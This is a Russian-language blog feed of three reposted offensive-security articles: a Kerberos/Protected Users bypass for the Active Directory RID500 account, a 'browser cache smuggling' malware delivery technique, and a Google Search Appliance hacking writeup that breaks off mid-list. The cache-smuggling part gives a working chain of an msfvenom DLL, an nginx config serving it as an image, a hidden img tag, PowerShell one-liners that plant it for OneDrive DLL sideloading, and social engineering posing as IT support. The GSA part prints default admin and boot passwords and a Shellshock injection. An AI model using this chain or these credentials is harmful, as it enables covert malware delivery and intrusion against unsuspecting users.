William Cross

вы думали, что находитесь в безопасности, ?

2023-11-01T12:22:48.949Z

31 октября 2022 года был объединен PR на CrackMapExec от Томаса Сеньёре (@Zblurx). Этот PR исправил аутентификацию Kerberos в среде CrackMapExec. Увидев это, мне сразу захотелось попробовать и немного поиграть. При этом я обнаружил странное поведение группы «Защищенные пользователи». В этом сообщении блога я объясню, что такое группа «Защищенные пользователи», почему это хорошая функция безопасности и почему она неполная для пользователя «Администратор» (RID500).

I/ Обычный сценарий внутренней оценки и PtH/OPtH

В моем предыдущем посте о токенах доступа Windows я описал один из наиболее распространенных сценариев, с которыми мы сталкиваемся при внутренних оценках. По сути, мы компрометируем один сервер, сбрасываем его базу данных SAM и память LSASS, чтобы получить учетные данные в открытом виде или NT-хэши. Мы также можем сбросить билеты Kerberos и вообще любой другой материал, который мы могли бы использовать для подключения где-либо еще:

Будь то в базе данных SAM или в памяти процесса LSASS, вы наверняка найдете NT-хэши:

В Windows наличие NT-хеша эквивалентно наличию пароля в виде открытого текста. Если мы посмотрим на протокол аутентификации NTLM, то увидим, что запрос зашифрован с использованием NT-хеша пользователя:

Поскольку у нас есть NT-хеш, мы можем зашифровать запрос, не зная соответствующего пароля в виде открытого текста.

На Kerberos все примерно так же. Протокол аутентификации Kerberos основан на четырех пакетах:

KRB_AS_REQ
KRB_AS_REP
KRB_TGS_REQ
KRB_TGS_REP

Процесс следующий:

Важной частью является «метка времени, зашифрованная ключом, полученным из пароля пользователя». Как пользователь, мы можем зашифровать временную метку с помощью ключа, который можно получить с помощью одного из следующих алгоритмов:

RC4
ДЕС
АЭС-128
АЭС-256

Интересно то, что RC4 шифрует метку времени, используя NT-хэш пользователя. Поскольку у нас есть действительный NT-хеш, мы можем зашифровать временную метку и получить действительный пакет KRB_AS_REQ. С помощью платформы CrackMapExec мы теперь можем подключаться к удаленным серверам, используя две хорошо известные атаки:

Передайте хеш (для протокола аутентификации NTLM):

OverPass the Hash (для протокола аутентификации Kerberos):

Эти атаки основаны на том факте, что можно использовать NT-хэш для шифрования секрета, используемого для аутентификации пользователя. Чтобы защититься от этого, можно добавить конфиденциальных пользователей в группу «Защищенные пользователи».

II/ Группа защищенных пользователей

Группа «Защищенные пользователи» появилась в Windows Server 2012R2. Если мы посмотрим на статью MSDN, то увидим, что пользователи в этой группе имеют усиленные параметры безопасности:

Как видите, аутентификация NTLM отключена, алгоритм RC4 не может использоваться для шифрования метки времени для аутентификации Kerberos и, наконец, делегирование Kerberos отключено. Давайте проверим это.

Сначала я добавлю нового пользователя-администратора домена (admin2), который находится в группе «Защищенные пользователи»:

Теперь попробуем пройти аутентификацию с помощью NTLM:

Как видите, это не работает, мы получаем «STATUS_ACCOUNT_RESTRICTION». А теперь попробуем использовать Kerberos:

Это тоже не работает (KDC_ERR_PREAUTH_FAILED). Так что да, похоже, что ожидаемые функции безопасности Защищенных пользователей применимы к пользователю admin2. Но применимы ли они ко всем пользователям?

III/ Странное поведение

Чехол для ключей RC4

Пока я играл с CrackMapExec PR, я случайно пытался пройти аутентификацию с использованием Kerberos в качестве учетной записи WHITEFLAG/Администратора, и я понял, что это работает, даже если пользователь находится в группе Защищенные пользователи:

Аутентификация NTLM, напротив, не удалась:

Это означает, что ограничение группы «Защищенные пользователи» не является полным, когда речь идет о пользователе RID500 домена Active Directory. Мы не можем подключиться, используя протокол аутентификации NTLM, но можем подключиться, используя протокол аутентификации Kerberos с RC4.

Дело о делегировании

Еще одно странное поведение связано с делегированием Kerberos. Обычно, когда пользователь входит в группу «Защищенные пользователи», его нельзя делегировать. Здесь я пытаюсь злоупотребить сценарием делегирования RBCD из OCD$ в ADCS1$, чтобы получить билет службы сначала как pu_user, который является защищенным пользователем, а затем как not_pu_user, что не является таковым. Во-первых, давайте посмотрим на делегацию:

Давайте посмотрим на разницу между делегированием pu_user и not_pu_user с помощью RBCD:

Мы ясно видим разницу: Защищенных пользователей нельзя делегировать. Но подождите, давайте посмотрим, как обстоят дела с учетной записью администратора RID 500…

Даже если учетная запись администратора RID 500 находится в группе «Защищенные пользователи», ее можно делегировать. Хорошо, но почему ?

Злоупотребление делегированием RBCD состоит из следующих двух этапов:

S4U2Self: запросить билет службы для произвольного пользователя для контролируемой учетной записи.
S4U2Proxy: запросите билет службы от имени произвольного пользователя для учетной записи целевого компьютера, используя ранее полученный билет службы в качестве дополнительного билета.

Когда вы пытаетесь выдать себя за защищенного пользователя, S4U2Self выдает вам билет службы без установленного флага пересылки. Вот почему часть S4U2Proxy завершается с ошибкой KDC_BADOPTION. Однако при олицетворении пользователя администратора RID 500 флаг пересылки устанавливается независимо от того, является ли пользователь защищенным пользователем:

IV/ Сценарий разработки

Чехол для ключей RC4

Используя эту ошибку, мы можем выполнить определенный сценарий. Допустим, у нас есть вымышленная компания Whiteflag. Два года назад они создали свой домен Active Driectory (whiteflag.local), не позаботившись о безопасности. Таким образом, они использовали учетную запись домена RID500 (WHITEFLAG/Администратор) для администрирования своих серверов.

Перенесемся год назад, они попросили провести внутреннюю оценку. Пентестерам удалось скомпрометировать домен и приказали команде безопасности добавить всех пользователей-администраторов домена в группу «Защищенные пользователи». Команда безопасности сделала это, но поскольку они не закрывали сеансы RDP должным образом, NT-хэш учетной записи WHITEFLAG/Администратора все еще хранился в памяти процесса LSASS.

Сегодня вас наняли для тестирования их недавно усиленной сети Active Directory. Если вам удастся скомпрометировать сервер, на котором сеанс RDP все еще активен для учетной записи WHITEFLAG/Администратора, вы сможете получить его NT-хэш. Поскольку ограничения защищенных пользователей для этого пользователя не применяются, вы сможете подключиться к контроллеру домена, используя проверку подлинности Kerberos.

Да, я знаю, это очень специфический сценарий, но эй, такое может случиться! Еще интересно то, что для этой учетной записи также будет работать делегирование Kerberos.

Дело о делегировании

Здесь сценарий более прямолинеен. Если каждая учетная запись администратора входит в список «Защищенные пользователи» и вам необходимо злоупотребить сценарием делегирования RBCD (или любым другим делегированием Kerberos), вы можете просто выдать себя за учетную запись администратора RID 500, и это будет работать!

V/ Исправление

Если мы посмотрим на атрибуты учетной записи RID500, мы увидим, что для значения ms-DSSupportedProtocolEncryption установлено значение 0x0:

Этот атрибут содержит шестнадцатеричное значение, указывающее, какой тип протокола аутентификации включен для этой учетной записи. Поскольку значение равно 0x0, мы можем сделать вывод, что можно использовать любой протокол аутентификации. Если мы установим это значение равным 24 (0x18), что включает только AES-128 и AES-256:

Мы увидим, что мы все еще можем подключиться с помощью атаки OverPass-the-Hash. Единственный способ полностью отключить RC4 — ограничить его для всей среды Active Directory, что может быть опасно, если серверы/приложения по-прежнему полагаются на этот тип аутентификации.

Чтобы избежать трюка с делегированием, вам необходимо отметить опцию «Учетная запись конфиденциальна и не может быть делегирована», даже если учетная запись RID500 находится в категории «Защищенные пользователи».

Другим решением было бы просто отключить учетную запись домена RID500, которая, согласно документации Microsoft, также опасна:

Обратите внимание, что об этой ошибке было сообщено в MSRC. Они ответили, что такое поведение задумано и не является ошибкой. Тем не менее, учетной записью RID500 можно злоупотреблять, так что имейте это в виду ;)!

Удачного взлома :)!

Эту статью написали Орельен ШАЛОТ ( @Defte_ ) и Томас Сеньёре ( @_zblurx ). Мы также хотели бы поблагодарить некоторых друзей за эти ночные беседы, которые мы провели, чтобы попытаться понять, что происходит: Чарли БРОМБЕРГ ( @_nwodtuhs ) , Марсьяль ПЮГРЕНЬЕ ( @mpgn_x64 ), Вилфрид БЕКАРД ( @tiyeuse ), а также Сообщество Hide&Sec .

Этот пост был впервые опубликован на https://sensepost.com/blog/2023/protected-users-you- Thought-you-were-safe-uh/.

кэш браузеров контрабанда

2023-11-01T12:21:34.047Z

В ходе работы с красной командой я часто использую социальную инженерию, чтобы заставить одного из сотрудников моего клиента запустить мой вредоносный код на их машинах, что позволяет мне получить доступ к их системе. Типичный подход, который я использовал, — позвонить им, сказать, что я из ИТ-поддержки, а затем предложить им перейти на официальную веб-страницу, содержащую некоторый код PowerShell, который им нужно запустить, чтобы исправить некоторые выдуманные ошибки. проблема.

Однако этот подход хорошо известен поставщикам средств безопасности, и в наши дни почти все продукты для защиты от вредоносного ПО и EDR блокируют или, по крайней мере, предупреждают о любом подозрительно выглядящем коде PowerShell, особенно коде, который загружает полезную нагрузку, а затем выполняет ее. Я хотел найти другой, более незаметный способ доставить полезную нагрузку целевым пользователям.

Итак, первый вопрос, который я задал себе: какие механизмы ежедневно использует операционная система, которыми я могу манипулировать для доставки вредоносного ПО? И тут мне в голову пришло: кеш браузера!

В этой статье я представлю технику, с помощью которой злоумышленник с помощью социальной инженерии заставляет целевого сотрудника посетить веб-сайт. Затем веб-сайт автоматически поместит полезную нагрузку DLL в кеш браузера, замаскированную под изображение. На том же веб-сайте пользователь с помощью социальной инженерии запускает безобидный на вид однострочный файл PowerShell, который перемещает полезную нагрузку DLL в папку, где она будет автоматически выполняться. Я также покажу еще несколько интересных вещей, которые я обнаружил в отношении Defender во время этого исследования.

I/ Что такое кеш браузера?

Когда вы перемещаетесь по Интернету, ваш браузер загружает массу файлов, таких как изображения, видео, CSS, JavaScript и так далее. Загрузка одной и той же страницы дважды означает, что браузер дважды загрузит одни и те же файлы. Это бесполезно и требует много ресурсов процессора, а также пропускной способности сети.

В современных браузерах реализован механизм, позволяющий хранить эти файлы локально, чтобы не приходилось загружать их каждый раз. Этот механизм называется кэшем браузера.

Если мы посмотрим, как работает Firefox в Windows, мы увидим, что в AppData/Local есть каталог Firefox, в котором хранятся файлы, похожие на кэшированные:

А файлов довольно много, около 300МБ:

Теперь давайте очистим этот каталог и перейдем на сайт https://orangecyberdefense.com. Вы увидите, что новые файлы добавляются во время навигации:

Итак, кажется, мы нашли механизм, автоматически скачивающий файлы!

Однако браузеры не будут кэшировать любой файл, предоставленный сервером. Он будет кэшировать статические ресурсы — файлы, содержимое которых не будет часто меняться. Таким образом, наши браузеры в основном кэшируют изображения, видео и иногда JS/CSS. Было бы здорово, если бы мы могли каким-то образом заставить браузер кешировать файлы, содержащие двоичную полезную нагрузку, например файлы DLL или EXE. Как мы это делаем?

II/ Управление механизмами кэширования браузеров

Чтобы определить, какие файлы кэшировать, браузеры в основном будут полагаться на заголовок Content-Type, отправленный веб-сервером. Например, на скриншоте ниже мы видим, что файл « avatar.jpg» был отправлен сервером и его тип содержимого — « image/jpeg»:

В Linux веб-серверы обычно используют этот /etc/mime.typesфайл, чтобы знать, какой тип контента он должен возвращать для конкретного файла. Содержимое /etc/mime.typesобычно выглядит так:

Этот файл содержит значения типов контента, связанные с расширением файлов. Таким образом, когда веб-сервер (в данном случае Nginx) видит, что файл avatar.jpgзапрошен, он проверит mime.typesфайл, чтобы определить тип содержимого расширения .jpg, и увидит, что это image/jpeg:

Как злоумышленник, мы можем переопределить эти значения. Помните, наша цель — принудительно загрузить либо DLL, либо EXE-файл. Для этого нам просто нужно изменить тип содержимого, связанного с файлами DLL и EXE, с application/x-msdos-programна image/jpeg. Это просто делается с помощью следующей строки в вашей конфигурации Nginx:

types { } default_type image/jpeg;

Это аннулирует сопоставление типов mime в памяти, а затем устанавливает тип контента по умолчанию на « image/jpg» для неизвестных типов (т. е. для всех файлов, поскольку мы сначала уничтожили сопоставления). Включение этого в блок «местоположение», который соответствует только вашей полезной нагрузке, позволит достичь желаемого эффекта, не превращая все в «изображение». См. часть III ниже для получения полной конфигурации в контексте.

Далее нам нужно будет сгенерировать две вещи:

DLL, в данном случае простая, которая будет запускать файл Calc.exe, созданный с помощью MSFVenom:

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f dll > calc.dll

HTML-страница, в которую DLL встроена в тег img:

<!DOCTYPE html>
<html>
        <body>
                <h1>Browser cache smuggling</h1>
                <img src="calc.dll" style="display: none;"></img>
        </body>
</html>

Затем мы очищаем кеш Firefox, перезагружаем HTML-страницу и видим, что файл был загружен:

Учитывая размер кэшированных файлов, можно сделать вывод, что файл, начинающийся с 75E… — это наша Calc DLL. Для уверенности мы можем загрузить следующую страницу в Firefox:

about:cache?storage=disk

Это список всех кэшированных файлов в Firefox. И если мы выполним поиск строки, мы увидим, что она calc.dllбыла кэширована:

Это означает, что DLL была эффективно доставлена в систему. А что, если я вам скажу, что этот способ доставки не помечается антивирусом? Ага! Защитник работает на компьютере с Windows, который является моей целью, и ничего не кричит. Знаю, почему? Потому что когда DLL была загружена и сохранена в кеше, она была переименована в случайное имя файла без расширения:

Таким образом, Защитник не сканирует файл, и наша DLL может оставаться там столько, сколько нам нужно!

III/ А что насчет исполнения?

Типичный способ заставить это работать — провести социальную инженерию пользователя, сообщив ему, что с его системой что-то не так и что ему нужно запустить команду, чтобы это исправить. Мы сообщаем им, что команда находится на официальной веб-странице. Когда страница загружается, DLL кэшируется в их системе. Пользователь получает команду с веб-страницы и запускает ее, что приводит к выполнению уже кэшированной DLL. При таком подходе мы гарантируем, что DLL по-прежнему кэшируется, когда пользователь запускает команду.

Ключевое отличие этого подхода от социальной инженерии, позволяющей пользователю выполнить команду C2 stager, заключается в том, что команда, которую мы заставляем пользователя выполнить, не загружает вредоносную полезную нагрузку, поскольку она уже находится в системе и кэшируется браузером. Идея состоит в том, чтобы попытаться сделать команду максимально безопасной, чтобы избежать подозрений или обнаружения, и позволить Firefox делать грязную работу, кэшируя DLL-файл вредоносного ПО.

Чтобы это работало, нам нужен способ найти нашу DLL среди всех других файлов, кэшируемых браузером.

Если мы внимательно посмотрим на размер кэшированной DLL и размер самой DLL, то увидим, что кэшированная немного больше:

Причина в том, что кэшированный файл — это не просто DLL, это файл, который содержит как содержимое DLL-файла, так и метаданные. Среди метаданных есть HTTP-ответ сервера Nginx, содержащий несколько HTTP-заголовков:

Таким образом, все, что нам нужно сделать, это создать флаг в ответе HTTP сервера, который позволит нам идентифицировать нашу DLL. Мы можем добиться этого, изменив файл конфигурации Nginx следующим образом:

server {
	listen 80 default_server;
	listen [::]:80 default_server;
	root /var/www/html;
	index index.html index.htm index.nginx-debian.html;
	server_name _;

	# Adding the HTTP header TAG used to find the real DLL
	location /calc.dll {
		# Override the mime type
		types { } default_type image/jpeg;
		add_header Tag DLLHERE;
	}
}

Если мы перезагрузим HTML-страницу, мы увидим, что когда серверу предлагается предоставить файл calc.dll, его ответ содержит дополнительный HTTP-заголовок, который отмечает нашу DLL:

Используя PowerShell или пакетную обработку, мы можем выполнить поиск этой конкретной строки, чтобы найти нашу DLL в каталоге локального кэша:

На данный момент мы знаем, где находится наша DLL, поэтому давайте попробуем ее выполнить.

Проводя это исследование, я понял, что как только я переименовал файл кэша в « calc.dll», антивирус пометил его как вредоносный (мсфвеном, вы знаете…). Я пробовал много чего, пока не понял, что rundll32 может выполнять DLL, у которой нет расширения .dll:

Все, что вам нужно сделать, это добавить точку к имени кэшированного файла, и rundll32 выполнит его. Еще более странно то, что мы уже видели, что кэшированный файл — это не только DLL, но и метаданные, однако rundll32 не заботится об этом и будет выполнять DLL.

Заставление пользователя выполнить rundll32 может вызвать некоторые сигналы тревоги, даже если DLL уже находится в файловой системе пользователя. Альтернативный подход может заключаться в простом перемещении существующей DLL на место, чтобы она выполнялась, когда пользователь открывает другое приложение. В результате получается гораздо более безопасная команда, которая сама ничего не загружает и не выполняет, а только перемещает существующий файл. Однако этот подход требует, чтобы ваша вредоносная DLL не обнаруживалась статически антивирусом.

Следующий однострочный код PowerShell будет искать DLL в каталоге кэша и перемещать ее в подходящее место, например в папку OneDrive, чтобы запустить атаку с боковой загрузкой DLL:

foreach($f in @("$env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default-release\cache2\entries\")){gci $f -r|%{if(Select-String -Pattern "DLLHERE" -Path $_.FullName){cp $_.FullName $env:LOCALAPPDATA\Microsoft\OneDrive\CRYPTBASE.dll}}}

Когда в следующий раз будет запущен OneDrive, ваше вредоносное ПО тоже будет!

IV/ А как насчет Google Chrome?

Способ, которым Google Chrome хранит файлы в своем кеше, немного сложнее использовать. Действительно, файлы не хранятся по отдельности, они хранятся в нескольких базах данных, расположенных в %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cache\Cache_Dataпапке:

Таким образом, получение кэшированных файлов означает манипулирование базой данных, а это непросто, особенно с PowerShell. В этот момент я думал, что эту технику невозможно использовать в Chrome, пока @shifttymike не прислал мне это сообщение:

И это гениально! Вот как я собрал вещи воедино. Сначала мы создаем DLL через msfvenom:

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f dll > calc.dll

Затем мы добавляем строку, которая сообщит нам, где начинается DLL:

sed -i "1s/^/INDLL/" calc.dll

И добавьте строку, чтобы сообщить нам, где она заканчивается:

echo -n "OUTDLL" >> calc.dll

На данный момент мы знаем, что наша DLL расположена между тегами INDLL и OUTDLL в одной из баз данных кэша Chrome. Все, что нам нужно сделать, это запустить некоторый код PowerShell, который сможет анализировать базы данных Chrome и извлекать из них DLL. Это можно сделать с помощью следующего однострочного кода PowerShell:

$d="$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache\Cache_Data\";gci $d|%{if([regex]::Matches([System.Text.Encoding]::Default.GetString([System.IO.File]::ReadAllBytes($_.FullName)),"(?<=INDLL)(.*?)(?=OUTDLL)",[System.Text.RegularExpressions.RegexOptions]::Singleline).Count-ne0){[System.IO.File]::WriteAllBytes("$d\hello.dll",[System.Text.Encoding]::Default.GetBytes($matches[0].Value))}}

И, по сути, наша DLL найдена и извлечена:

Затем мы можем использовать rundll32для его выполнения:

Или переместите DLL в определенную папку, как показано ранее.

V/ Заключение

Насколько мне известно, я еще не видел описания этого способа доставки вредоносного ПО. На мой взгляд, это довольно крутой трюк, поскольку он позволяет оператору красной команды принудительно загрузить вредоносное ПО, просто отправив URL-адрес его цели. Нет необходимости обманом заставить цель загрузить вредоносный файл (который может быть подозрительным), единственное, о чем вам нужно позаботиться, — это заставить пользователя запустить безобидный на вид однострочный файл Power Shell. На мой взгляд, намного скрытнее ;)!

Последний совет от Red Teamer: если вы когда-нибудь найдете компьютер или сервер, на котором установлен браузер, вы можете заглянуть в папку кеша и прочитать кешированные файлы. Благодаря метаданным вы сможете собирать имена хостов DNS, которые позволят вам обнаруживать потенциальные цели во внутренней сети (привет, vSphere :D)!

Удачного взлома!

Это перекрестная публикация с https://blog.whiteflag.io/blog/browser-cache-smuggling/ .

Путешествие во взлом Google Search Appliance

2023-11-01T12:20:03.114Z

Английская версия ,中文版本

ТЛ;ДР

Удаленное выполнение кода после аутентификации в консоли администратора GSA.
Интерфейс поиска GSA Обход пути.
GSA использует технологию Oracle Outside-in для преобразования документов.
Веб-службы Google имеют некоторые фиксированные URI, которые предоставляют информацию о самой службе.

Введение

Google Search Appliance (далее — GSA) — это корпоративное поисковое устройство, выпущенное Google в 2002 году и используемое для индексирования и получения информации из внутренней или общедоступной сети. Примерно в 2005 году Google представила Google Mini для личного использования и малого бизнеса. Позже, в конце 2008 года, была запущена версия виртуальной машины под названием Virtual Google Search Appliance (далее VGSA). Однако в конце 2018 года Google завершила жизненный цикл продукта GSA и интегрировала его в линейку продуктов Cloud Search.

Приобретение оборудования и программного обеспечения

Нам удалось приобрести устройство, выполнив поиск «Google Search Appliance» на eBay.

К счастью, первым, что мы купили, был GSA с нестертыми данными:

Даже сейчас еще можно найти устройства, которые сейчас продаются.

С другой стороны, исходная общедоступная ссылка на vGSA была удалена. http://dl.google.com/vgsa/vgsa_20090210.7z [удалено] http://dl.google.com/vgsa/vgsa_20081028.7z [удалено]

Мы нашли файл по магнитной ссылке BitTorrent:

magnet:?xt=urn:btih:89388ACE8C3B91FDD3A2F86D8CBB78C58A70D992

Затем нашел ссылку на старую версию программного обеспечения в группах Google: https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ.

Ссылка была:

http://dl.google.com/dl/enterprise/install_bundle-10000622-7.2.0-112.bin [удалено]

И мы можем получить все номера версий по адресу: http://web.archive.org/web/20210116194907/https://support.google.com/gsa/answer/7020590?hl=en&ref_topic=2709671 .

Угадывание правил именования файлов какinstall_bundle-10000(3-digit numbers)-7.(numbers).(numbers)-(numbers).bin

И напишите сценарий оболочки, чтобы попытаться загрузить программное обеспечение:

for((j=622;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.2.0-$i.bin;done;done
for((j=661;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.4.0-$i.bin;done;done
for((j=693;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.6.0-$i.bin;done;done

Включая информацию, найденную посредством поиска в Интернете, успешно получен следующий файл:

all_langs-lang-pack-2.1-1.bin
all_langs-lang-pack-2.2-1.bin
centos_patch_files-6.0.0-22.bin
centos_patch_files-6.14.0-28.bin
centos_patch_files-7.0.14-238.bin
centos_patch_files-7.2.0-252.bin
centos_patch_files-7.2.0-264.bin
centos_patch_files-7.2.0-270.bin
centos_patch_files-7.2.0-280.bin
centos_patch_files-7.2.0-286.bin
install_bundle-10000653-7.2.0-252.bin
install_bundle-10000658-7.2.0-264.bin
install_bundle-10000661-7.2.0-270.bin
install_bundle-10000681-7.4.0-64.bin
install_bundle-10000685-7.4.0-72.bin
install_bundle-10000686-7.4.0-74.bin
install_bundle-10000692-7.4.0-82.bin
install_bundle-10000762-7.6.0-36.bin
install_bundle-10000767-7.6.0-42.bin
install_bundle-10000772-7.6.0-46.bin
install_bundle-10000781-7.6.0-58.bin
install_bundle-10000810-7.6.50-30.bin
install_bundle-10000822-7.6.50-36.bin
install_bundle-10000855-7.6.50-64.bin
install_bundle-10000878-7.6.250-12.bin
install_bundle-10000888-7.6.250-20.bin
install_bundle-10000901-7.6.250-26.bin
install_bundle-10000915-7.6.360-10.bin
install_bundle-10000926-7.6.360-16.bin
install_bundle-10000967-7.6.512-18.bin
sw_files-5.0.4-22.bin
sw_files-6.14.0-28.bin
sw_files-7.0.14-238.bin
vm_patch_1_for_504_G22_and_G24_only.bin

vGSA (виртуальное устройство поиска Google)

Далее мы начали исследование vGSA. По умолчанию после импорта виртуальной машины эта система предоставляет только функцию настройки сети и не предоставляет системную оболочку для работы или использования. Однако, поскольку виртуальная машина работает в нашей собственной среде, обычно можно получить системные разрешения следующими методами:

Непосредственное изменение незашифрованных файлов диска
Изменение памяти виртуальной машины
Загрузка с компакт-дисков или дисков другой операционной системы
Эксплуатация известных уязвимостей
Использование жестко запрограммированных паролей администратора или системной учетной записи.

На следующем изображении показан экран конфигурации сети:

CVE-2014-6271

При тестировании ранних устройств и серверов Linux, особенно тех, которые используют операционную систему серии RedHat, часто возникают уязвимости Shellshock, и vGSA, выпущенная в 2008 году, не является исключением. Вставка опции 114 в DHCP-сервер будет установлена в переменной среды, тем самым активируя уязвимость и выполняя любую команду.

Была предпринята попытка вставить команду: useradd zzzzgsa. Можно наблюдать, как эта команда выполняется неоднократно, поскольку в выводе консоли продолжают появляться сообщения об ошибках.

наблюдение за операционной системой vGSA

После успешного получения привилегий операционной системы мы можем наблюдать за сетевым окружением, запущенными приложениями и файловой системой. Вот некоторые выводы, полученные в результате наблюдения за средой операционной системы:

Номер версии: 5.2.0.G.27.
Сервисы в основном написаны на C/C++, Java, Python.
/export/hda3, похоже, является каталогом, который в основном используется службой.
/etc/shadow содержит учетную запись root с хешем пароля x███████████M.
Интерфейс администрирования прослушивает порты 8000, 8443 с паролем администратора по умолчанию, j0njlRXpU5CQ.
/.gnupg содержит открытый и закрытый ключи ent_box_key.
/.gnupg содержит открытый ключ google_license_key.
/.ssh/authorized_keys содержит два набора открытых ключей.
/root/.ssh/authorized_keys содержит один набор открытых ключей.
/root/.ssh/ содержит два набора открытых и закрытых ключей SSH.
/root/.gnupg/ содержит открытый и закрытый ключи ent_box_key.
Технология Outside In от Oracle используется для преобразования документов в веб-страницы HTML.
Среда выполнения Java использует для защиты диспетчер безопасности.
Функция запроса на техническую поддержку использует ppp для создания виртуальной частной сети, /etc/ppp/chap-secrets содержит пароли учетных записей ( z██████c、]███████T .
Пароль меню загрузки в /etc/lilo.conf — cmBalx7.
/export/hda3/versionmanager/google_key.symmetric содержит строку, которая, по-видимому, используется для симметричного шифрования.
/export/hda3/versionmanager/vmanager_passwd содержит два набора комбинаций имени пользователя и пароля ( admin: M█████████████████████████w=:9█ █= google：w██████████████████████████o=:N██= ).

Исполняемые программы с сетевыми сервисами следующие:

Слушать порт

Имя процесса

Язык программы

Функция

сш

С/С++

OpenSSH-сервер

названный

С/С++

Привязка по имени

953

названный

С/С++

Привязка по имени

1111

webserver_config

питон

Установщик

2100

adminrunner.py

питон

серверная часть консоли администратора

3990

монитор

С/С++

монитор

4000

ртсервер

С/С++

неизвестный

4430

Корпоративный интерфейс

Java (с менеджером безопасности)

интерфейс консоли администратора

4911

боргмон

С/С++

боргмон

4916

реактор

С/С++

неизвестный

5000

ртсервер

С/С++

неизвестный

5600

ртсервер

С/С++

неизвестный

6600

кэш-сервер

С/С++

неизвестный

7800

Корпоративный интерфейс

Java (с менеджером безопасности)

Интерфейс консоли администратора (http)

7880

ТаблицаСервер

Java (с менеджером безопасности)

неизвестный

7882

АутцЧекер

Java (без менеджера безопасности)

неизвестный

7886

Кот

Джава

сервер котов

8000

EnterpriseAdminConsole

Java (без менеджера безопасности)

неизвестный

8443

оглушать

С/С++

перенаправить http на https

8888

ГВС

С/С++

неизвестный

9300

одинбокссервер

С/С++

неизвестный

9328

энтспелмиксер

С/С++

неизвестный

9400

микссервер

С/С++

неизвестный

9402

микссервер

С/С++

неизвестный

9448

qrewrite

С/С++

неизвестный

9450

EnterpriseAdminConsole

Java (без менеджера безопасности)

неизвестный

10094

Enterprise_onebox

С/С++

неизвестный

10200

кластерный_сервер

С/С++

неизвестный

11913

менеджер сеансов

С/С++

неизвестный

12345

Сервер реестра

Java (без менеджера безопасности)

неизвестный

19780

configmgr/ent_configmgr.py

питон

неизвестный

19900

фидергейт

С/С++

извлекать, преобразовывать и подавать записи

21200

Шлюз файловой системы

Java (с менеджером безопасности)

неизвестный

31300

ртсервер

С/С++

неизвестный

Несмотря на наличие такого количества сервисов, большинство соединений блокируются iptables. Ниже приведены настройки iptables:

# Redirect privileged ports.
# (we listen as nobody, which can't attach to low ports, so redirect to high ports)
#
-A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 7800
-A PREROUTING -i eth0 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 4430
-A PREROUTING -i eth0 -p tcp -m tcp --dport 444 -j REDIRECT --to-ports 4431
-A INPUT -i eth0 -p udp -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7800 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7801 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4430 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4431 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 19900 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8000 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8443 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9941 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9942 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 10999 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 68 --dport 67 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 53 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 137:138 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 123 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 514 -j ACCEPT
-A INPUT -i eth0 -p udp -m udp --dport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 162 -j ACCEPT

Ниже приводится реальная доступная поверхность атаки TCP:

Порт

Услуга

Местоположение программы

сш

/usr/sbin/sshd

7800

Корпоративный интерфейс

/export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar

4430

Корпоративный интерфейс

/export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar

19900

фидергейт

/export/hda3/5.2.0/local/google/bin/feedergate

8000

EnterpriseAdminConsole

/export/hda3/5.2.0/local/google/bin/EnterpriseAdminConsole.jar

8443

оглушать

/usr/sbin/stunnel

И мы обнаружили, что строки в файле /export/hda3/versionmanager/google_key.symmetricможно использовать для расшифровки содержимого всех установочных пакетов! После получения привилегий с использованием CVE-2014-6271 и расшифровки содержимого установочного пакета наше исследование vGSA временно завершилось.

Но отсутствие защиты памяти может иметь некоторые уязвимости, которыми можно легко воспользоваться.

ГСА

Загрузив установленное устройство и попытавшись изменить последовательность загрузки, мы обнаружили, что для входа в BIOS требуется пароль. Более того, в интерфейсе управления RAID-карты Dell H700 доступны лишь некоторые функции:

Затем попытайтесь напрямую прочитать содержимое жесткого диска. Если содержимое жесткого диска не зашифровано, существует вероятность того, что операционную систему и программное обеспечение устройства можно получить напрямую. Мы обнаружили, что его жесткий диск использует для передачи интерфейс SAS. Прежде чем пытаться, необходимо приобрести карту SAS HBA. LSI 9211-8i используется для подключения в этом тесте:

После подключения и попытки чтения было обнаружено, что это самошифрующийся накопитель (SED). Для разблокировки доступа требуется пароль. OSSLab имеет более подробное объяснение здесь:

https://www.osslab.com.tw/ata-sed-security/ (статья на китайском языке)

Есть несколько способов продолжить попытку, если прямой доступ к жесткому диску невозможен:

Попробуйте прочитать пароль в EEPROM биоса и изменить порядок загрузки.

